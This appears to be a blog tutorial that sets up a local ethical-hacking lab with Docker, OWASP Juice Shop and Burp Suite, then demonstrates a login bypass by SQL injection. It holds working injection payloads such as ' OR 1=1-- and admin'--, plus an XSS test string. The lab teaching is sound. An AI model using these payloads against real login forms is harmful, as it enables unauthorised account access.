Oleo Bone
@oleobone

From Zero to SQL Injection Success

📋 PREREQUISITES

  • Kali Linux VM (Fresh Installation)
  • Internet Connection
  • Minimum 4GB RAM, 20GB Disk Space

 PHASE 1: SYSTEM SETUP & DOCKER INSTALLATION

Step 1: Update Kali Linux

Step 2: Install Docker

# Install Docker
sudo apt install docker.io -y

# Start and enable Docker service
sudo systemctl start docker
sudo systemctl enable docker

# Add user to docker group (avoid sudo for docker commands)
sudo usermod -aG docker $USER

# Apply group changes (log out/in or use this)
newgrp docker

# Verify installation
docker --version

Step 3: Verify Docker

# Test Docker without sudo
docker ps
# Should show: CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

PHASE 2: OWASP JUICE SHOP SETUP

Step 4: Pull Juice Shop Image

docker pull bkimminich/juice-shop

Step 5: Run Juice Shop Container

# Run in detached mode on port 3000
docker run -d -p 3000:3000 bkimminich/juice-shop

# Verify it's running
docker ps
# Should show Juice Shop container running

Step 6: Access Juice Shop

PHASE 3: BURP SUITE SETUP

Step 7: Launch Burp Suite

Start Burp Suite in Your Terminal

burpsuite

OR Applications → 03 – Web Application Analysis → burpsuite

Step 8: Initial Burp Configuration

  1. Select: “Temporary Project”
  2. Choose: “Use Burp Defaults”
  3. Wait for Burp to fully load

Step 9: Configure Proxy Settings

  1. Go to Proxy tab → Options sub-tab
  2. Ensure proxy listener is running on 127.0.0.1:8080
  3. Intercept tab → Turn “Intercept is on”

Step 10: Configure Firefox Proxy

  1. Open Firefox → Preferences → General
  2. Scroll to Network Settings → Settings
  3. Select “Manual proxy configuration”
  4. Set:
    • HTTP Proxy: 127.0.0.1
    • Port: 8080
    • Check “Use this proxy for all protocols”
  5. Click OK

PHASE 4: SQL INJECTION DEMONSTRATION

Step 11: Intercept Login Request

  1. In Firefox, go to http://localhost:3000
  2. Click Login in top right
  3. Enter ANY email and password (e.g., test@test.com, password)
  4. Click Log in
  5. Request will be captured in Burp Intercept tab

Step 12: Send to Repeater

  1. In Burp Intercept tab, right-click the request
  2. Select “Send to Repeater”
  3. Go to Repeater tab

Step 13: Perform SQL Injection

Original Request Body:

{"email":"test@test.com","password":"password"}

Modified SQL Injection Payload:

{"email":"' OR 1=1--","password":"anything"}

Steps:

  1. In Repeater, change the email to ' OR 1=1--
  2. Change password to anything
  3. Click “Send”

Step 14: Analyze Successful Attack

Successful Response (200 OK):

Failed Response (401 Unauthorized):

{"error":"Invalid email or password."}

🔥 ALTERNATIVE SQL INJECTION PAYLOADS TO TEST

{"email":"admin'--","password":"x"}
{"email":"' OR true--","password":"x"}
{"email":"' or 1=1#","password":"x"}

📊 VERIFICATION CHECKLIST

  • Docker installed and running
  • Juice Shop accessible at localhost:3000
  • Burp Suite intercepting traffic
  • Login request captured in Burp
  • SQL injection payload sent via Repeater
  • 200 OK response with authentication token received
  • Successfully logged in as admin

🚨 TROUBLESHOOTING COMMON ISSUES

Docker Permission Denied

sudo usermod -aG docker $USER
newgrp docker

Burp Not Intercepting

  • Verify Firefox proxy settings
  • Check Burp Proxy listener is enabled
  • Ensure “Intercept is on”

Juice Shop Not Accessible

docker ps
docker logs [container_id]

SQL Injection Not Working

  • Try different payload variants
  • Check for JSON syntax errors
  • Ensure no spaces after comments

🎯 NEXT LEARNING STEPS

After successful SQL injection:

  1. XSS Testing: Try <script>alert('XSS')</script> in search box
  2. Broken Authentication: Test other login bypass methods
  3. API Testing: Explore /rest/ endpoints
  4. Score Board: Visit http://localhost:3000/#/score-board for challenges

📝 SECURITY NOTES

  • ✅ This lab is for educational purposes only
  • ✅ All testing is done locally in controlled environment
  • ✅ These techniques should only be used on systems you own
  • ✅ Always follow responsible disclosure practices

🎉 CONGRATULATIONS! You now have a fully functional ethical hacking lab and have successfully demonstrated SQL injection!

“Stuck at any step? You’re not alone!
Visit my LinkTree for: https://beacons.ai/keemgraetechnologies

1-on-1 community support

Detailed written guides

Common error solutions

Lab configuration files

×

Let's stay in touch!

Leave your email or WhatsApp number (optional) to get updates.

Scroll to Top